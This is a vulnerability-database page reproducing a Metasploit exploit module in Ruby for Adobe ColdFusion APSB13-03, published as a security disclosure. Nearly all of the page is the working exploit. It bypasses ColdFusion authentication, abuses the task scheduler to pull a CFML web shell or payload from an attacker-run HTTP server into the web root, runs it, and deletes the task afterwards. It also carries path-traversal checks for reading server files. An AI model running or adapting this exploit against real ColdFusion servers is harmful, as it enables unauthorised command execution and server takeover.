Lucene search
K

Adobe ColdFusion APSB13-03 Command Execution

🗓️ 10 Apr 2013 00:00:00Reported by Jon HartType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 82 Views

Adobe ColdFusion APSB13-03 Command Execution vulnerability in scheduleedit.cf

Related
Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'digest/sha1'  
require 'openssl'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe ColdFusion APSB13-03',  
'Description' => %q{  
This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:  
* CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)  
* CVE-2013-0629: directory traversal  
* CVE-2013-0632: authentication bypass  
},  
'Author' =>  
[  
'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-0625'],  
[ 'CVE', '2013-0629'],  
# we don't actually exploit this, as this is the backdoor  
# dropped by malware exploiting the other vulnerabilities  
[ 'CVE', '2013-0631'],  
[ 'CVE', '2013-0632'],  
],  
'Targets' =>  
[  
['Automatic Targeting', { 'auto' => true }],  
[  
'Universal CMD',  
{  
'Arch' => ARCH_CMD,  
'Platform' => ['unix', 'win', 'linux']  
}  
]  
],  
'DefaultTarget' => 1,  
'Privileged' => true,  
'Platform' => [ 'win', 'linux' ],  
'DisclosureDate' => 'Jan 15 2013'))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),  
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),  
OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),  
OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),  
], self.class)  
  
register_advanced_options(  
[  
OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),  
], self.class)  
end  
  
def check  
exploitable = 0  
exploitable += 1 if check_cve_2013_0629  
exploitable += 1 if check_cve_2013_0632  
exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe  
end  
  
# Login any way possible, returning the cookies if successful, empty otherwise  
def login  
cf_cookies = {}  
  
ways = {  
'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },  
'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },  
'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },  
}  
ways.each do |what, how|  
these_cookies = how.call  
if got_auth? these_cookies  
print_status "Authenticated using '#{what}' technique"  
cf_cookies = these_cookies  
break  
end  
end  
  
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?  
cf_cookies  
end  
  
def exploit  
# login  
cf_cookies = login  
  
# if we managed to login, get the listener ready  
datastore['URIPATH'] = rand_text_alphanumeric(6)  
srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"  
start_service  
  
# drop a payload on disk which we can used to execute  
# arbitrary commands, which will be needed regardless of  
# which technique (cmd, payload) the user wants  
input_exec = srv_uri + "/#{datastore['URIPATH']}-e"  
output_exec = "#{datastore['URIPATH']}-e.cfm"  
schedule_drop cf_cookies, input_exec, output_exec  
  
if datastore['CMD'] and not datastore['CMD'].empty?  
# now that the coldfusion exec is on disk, execute it,  
# passing in the command and arguments  
parts = datastore['CMD'].split(/\s+/)  
res = execute output_exec, parts.shift, parts.join(' ')  
print_line res.body.strip  
else  
# drop the payload  
input_payload = srv_uri + "/#{datastore['URIPATH']}-p"  
output_payload = "#{datastore['URIPATH']}-p"  
schedule_drop cf_cookies, input_payload, output_payload  
# make the payload executable  
# XXX: windows?  
execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}"  
# execute the payload  
execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"  
end  
handler  
end  
  
def execute cfm, cmd, args=''  
uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"  
send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )  
end  
  
def on_new_session(client)  
return  
# TODO: cleanup  
if client.type == "meterpreter"  
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")  
@files.each do |file|  
client.fs.file.rm("#{file}")  
end  
else  
@files.each do |file|  
client.shell_command_token("rm #{file}")  
end  
end  
end  
  
def on_request_uri cli, request  
cf_payload = "test"  
case request.uri  
when "/#{datastore['URIPATH']}-e"  
cf_payload = <<-EOF  
<cfparam name="url.cmd" type="string" default="id"/>  
<cfparam name="url.args" type="string" default=""/>  
<cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />  
<cfoutput>#output#</cfoutput>  
EOF  
when "/#{datastore['URIPATH']}-p"  
cf_payload = payload.encoded  
end  
send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })  
end  
  
  
# Given a hash of cookie key value pairs, return a string  
# suitable for use as an HTTP Cookie header  
def build_cookie_header cookies  
cookies.to_a.map { |a| a.join '=' }.join '; '  
end  
  
# this doesn't actually work  
def twiddle_csrf cookies, enable=false  
mode = (enable ? "Enabling" : "Disabling")  
print_status "#{mode} CSRF protection"  
params = {  
'SessEnable' => enable.to_s,  
}  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"),  
'method' => 'POST',  
'connection' => 'TE, close',  
'cookie' => build_cookie_header(cookies),  
'vars_post' => params,  
})  
if res  
if res.body =~ /SessionManagement should/  
print_error "Error #{mode} CSRF"  
end  
else  
print_error "No response while #{mode} CSRF"  
end  
end  
  
# Using the provided +cookies+, schedule a ColdFusion task  
# to request content from +input_uri+ and drop it in +output_path+  
def schedule_drop cookies, input_uri, output_path  
vprint_status "Attempting to schedule ColdFusion task"  
cookie_hash = cookies  
  
scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"  
scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"  
# make a request to the scheduletasks page to pick up the CSRF token  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, scheduletasks_path),  
'method' => 'GET',  
'connection' => 'TE, close',  
'cookie' => build_cookie_header(cookie_hash),  
})  
cookie_hash.merge! get_useful_cookies res  
  
if res  
# XXX: I can only seem to get this to work if 'Enable Session Variables'  
# is disabled (Server Settings -> Memory Variables)  
token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first  
unless token  
print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"  
#twiddle_csrf cookies, false  
token = ''  
end  
else  
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")  
end  
  
# make a request to the scheduletasks page again, this time passing in our CSRF token  
# in an attempt to get all of the other cookies used in a request  
cookie_hash.merge! get_useful_cookies res  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",  
'method' => 'GET',  
'connection' => 'TE, close',  
'cookie' => build_cookie_header(cookie_hash),  
})  
  
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res  
  
# pick a unique task ID  
task_id = SecureRandom.uuid  
# drop the backdoor in the CFIDE directory so it can be executed  
publish_file = '../../wwwroot/CFIDE/' + output_path  
# pick a start date. This must be in the future, so pick  
# one sufficiently far ahead to account for time zones,  
# improper time keeping, solar flares, drift, etc.  
start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"  
params = {  
'csrftoken' => token,  
'TaskName' => task_id,  
'Group' => 'default',  
'Start_Date' => start_date,  
'End_Date' => '',  
'ScheduleType' => 'Once',  
'StartTimeOnce' => '1:37 PM',  
'Interval' => 'Daily',  
'StartTimeDWM' => '',  
'customInterval_hour' => '0',  
'customInterval_min' => '0',  
'customInterval_sec' => '0',  
'CustomStartTime' => '',  
'CustomEndTime' => '',  
'repeatradio' => 'norepeatforeverradio',  
'Repeat' => '',  
'crontime' => '',  
'Operation' => 'HTTPRequest',  
'ScheduledURL' => input_uri,  
'Username' => '',  
'Password' => '',  
'Request_Time_out' => '',  
'proxy_server' => '',  
'http_proxy_port' => '',  
'publish' => '1',  
'publish_file' => publish_file,  
'publish_overwrite' => 'on',  
'eventhandler' => '',  
'exclude' => '',  
'onmisfire' => '',  
'onexception' => '',  
'oncomplete' => '',  
'priority' => '5',  
'retrycount' => '3',  
'advancedmode' => 'true',  
'adminsubmit' => 'Submit',  
'taskNameOriginal' => task_id,  
'groupOriginal' => 'default',  
'modeOriginal' => 'server',  
}  
  
cookie_hash.merge! (get_useful_cookies res)  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, scheduleedit_path),  
'method' => 'POST',  
'connection' => 'TE, close',  
'cookie' => build_cookie_header(cookie_hash),  
'vars_post' => params,  
})  
  
if res  
# if there was something wrong with the task, capture those errors  
# print them and abort  
errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten  
if errors.empty?  
if res.body =~ /SessionManagement should/  
fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")  
end  
print_status "Created task #{task_id}"  
else  
fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")  
end  
else  
fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")  
end  
  
print_status "Executing task #{task_id}"  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",  
'method' => 'GET',  
'connection' => 'TE, close',  
'cookie' => build_cookie_header(cookie_hash),  
})  
  
#twiddle_csrf cookies, true  
if datastore['DELETE_TASK']  
print_status "Removing task #{task_id}"  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",  
'method' => 'GET',  
'connection' => 'TE, close',  
'cookie' => build_cookie_header(cookie_hash),  
})  
end  
  
vprint_status normalize_uri(target_uri, publish_file)  
publish_file  
end  
  
# Given the HTTP response +res+, extract any interesting, non-empty  
# cookies, returning them as a hash  
def get_useful_cookies res  
set_cookie = res.headers['Set-Cookie']  
# Parse the Set-Cookie header  
parsed_cookies = CGI::Cookie.parse(set_cookie)  
  
# Clean up the cookies we got by:  
# * Dropping Path and Expires from the parsed cookies -- we don't care  
# * Dropping empty (reset) cookies  
%w(Path Expires).each do |ignore|  
parsed_cookies.delete ignore  
parsed_cookies.delete ignore.downcase  
end  
parsed_cookies.keys.each do |name|  
parsed_cookies[name].reject! { |value| value == '""' }  
end  
parsed_cookies.reject! { |name,values| values.empty? }  
  
# the cookies always seem to start with CFAUTHORIZATION_, but  
# give the module the ability to log what it got in the event  
# that this stops becoming an OK assumption  
unless parsed_cookies.empty?  
vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"  
end  
cookie_pattern = /^CF/  
useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }  
if useful_cookies.empty?  
vprint_status "No #{cookie_pattern} cookies found"  
else  
vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"  
end  
useful_cookies  
end  
  
# Authenticates to ColdFusion Administrator via the adminapi using the  
# specified +user+ and +password+. If +use_rds+ is true, it is assumed that  
# the provided credentials are for RDS, otherwise they are assumed to be  
# credentials for ColdFusion Administrator.  
#  
# Returns a hash (cookie name => value) of the cookies obtained  
def adminapi_login user, password, use_rds  
vprint_status "Attempting ColdFusion Administrator adminapi login"  
user ||= ''  
password ||= ''  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),  
'method' => 'POST',  
'connection' => 'TE, close',  
'vars_post' => {  
'method' => 'login',  
'adminUserId' => user,  
'adminPassword' => password,  
'rdsPasswordAllowed' => (use_rds ? '1' : '0')  
}  
})  
  
if res  
if res.code == 200  
vprint_status "HTTP #{res.code} when authenticating"  
return get_useful_cookies(res)  
else  
print_error "HTTP #{res.code} when authenticating"  
end  
else  
print_error "No response when authenticating"  
end  
  
{}  
end  
  
# Authenticates to ColdFusion Administrator using the specified +user+ and  
# +password+  
#  
# Returns a hash (cookie name => value) of the cookies obtained  
def administrator_login user, password  
cf_cookies = administrator_9x_login user, password  
unless got_auth? cf_cookies  
cf_cookies = administrator_10x_login user, password  
end  
cf_cookies  
end  
  
def administrator_10x_login user, password  
# coldfusion 10 appears to do:  
# cfadminPassword.value = hex_sha1(cfadminPassword.value)  
vprint_status "Trying ColdFusion 10.x Administrator login"  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),  
'method' => 'POST',  
'vars_post' => {  
'cfadminUserId' => user,  
'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,  
'requestedURL' => '/CFIDE/administrator/index.cfm',  
'submit' => 'Login',  
}  
})  
  
if res  
if res.code.to_s =~ /^30[12]/  
useful_cookies = get_useful_cookies res  
if got_auth? useful_cookies  
return useful_cookies  
end  
else  
if res.body =~ /<title>Error/i  
print_status "Appears to be restricted and/or not ColdFusion 10.x"  
elsif res.body =~ /A License exception has occurred/i  
print_status "Is license restricted"  
else  
vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request. Not 10.x?"  
vprint_status res.body  
end  
end  
end  
  
return {}  
end  
  
def got_auth? cookies  
not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?  
end  
  
def administrator_9x_login user, password  
vprint_status "Trying ColdFusion 9.x Administrator login"  
# coldfusion 9 appears to do:  
# cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));  
#  
# You can get a current salt from  
# http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt  
#  
# Unfortunately that URL might be restricted and the salt really just looks  
# to be the current time represented as the number of milliseconds since  
# the epoch, so just use that  
salt = (Time.now.to_i * 1000).to_s  
pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),  
'method' => 'POST',  
'vars_post' => {  
'submit' => 'Login',  
'salt' => salt,  
'cfadminUserId' => user,  
'requestedURL' => '/CFIDE/administrator/index.cfm',  
'cfadminPassword' => pass,  
}  
})  
if res  
return get_useful_cookies res  
else  
print_error "No response while trying ColdFusion 9.x authentication"  
end  
  
{}  
end  
  
# Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+  
#  
# Returns a hash (cookie name => value) of the cookies obtained  
def componentutils_login user, password  
vprint_status "Attempting ColdFusion ComponentUtils login"  
vars = {  
'j_password_required' => "Password+Required",  
'submit' => 'Login',  
}  
vars['rdsUserId'] = user if user  
vars['j_password'] = password if password  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),  
'method' => 'POST',  
'connection' => 'TE, close',  
'vars_post' => vars  
})  
  
cf_cookies = {}  
if res.code.to_s =~ /^(?:200|30[12])$/  
cf_cookies = get_useful_cookies res  
else  
print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"  
end  
  
cf_cookies  
end  
  
def check_cve_2013_0629  
vulns = 0  
paths = %w(../../../license.txt ../../../../license.html)  
  
# first try password-less bypass in the event that this thing  
# was just wide open  
vuln_without_creds = false  
paths.each do |path|  
if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/  
vulns += 1  
vuln_without_creds = true  
break  
end  
end  
  
if vuln_without_creds  
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"  
else  
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"  
end  
  
# if credentials are provided, try those too  
if datastore['USERNAME'] and datastore['PASSWORD']  
vuln_without_bypass = false  
paths.each do |path|  
cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD']  
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/  
vulns += 1  
vuln_without_bypass = true  
break  
end  
end  
  
if vuln_without_bypass  
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"  
else  
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"  
end  
end  
  
# now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open  
vuln_with_bypass = false  
paths.each do |path|  
cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true  
# we need to take the cookie value from CFAUTHORIZATION_cfadmin  
# and use it for CFAUTHORIZATION_componentutils  
cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']  
cf_cookies.delete 'CFAUTHORIZATION_cfadmin'  
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/  
vulns += 1  
vuln_with_bypass = true  
break  
end  
end  
  
if vuln_with_bypass  
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"  
else  
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"  
end  
  
vulns > 0  
end  
  
# Checks for CVE-2013-0632, returning true if the target is  
# vulnerable, false otherwise  
def check_cve_2013_0632  
if datastore['USERDS']  
# the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but  
# subsequently *enabled* after install, the password is unset so we simply must  
# check that and only that.  
cf_cookies = adminapi_login 'foo', 'bar', true  
if cf_cookies.empty?  
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"  
else  
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"  
return true  
end  
else  
print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"  
end  
false  
end  
  
def traverse_read path, cookies  
uri = normalize_uri(target_uri.path)  
uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="  
uri << path  
res = send_request_cgi(  
{  
'uri' => uri,  
'method' => 'GET',  
'connection' => 'TE, close',  
'cookie' => build_cookie_header(cookies)  
})  
res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation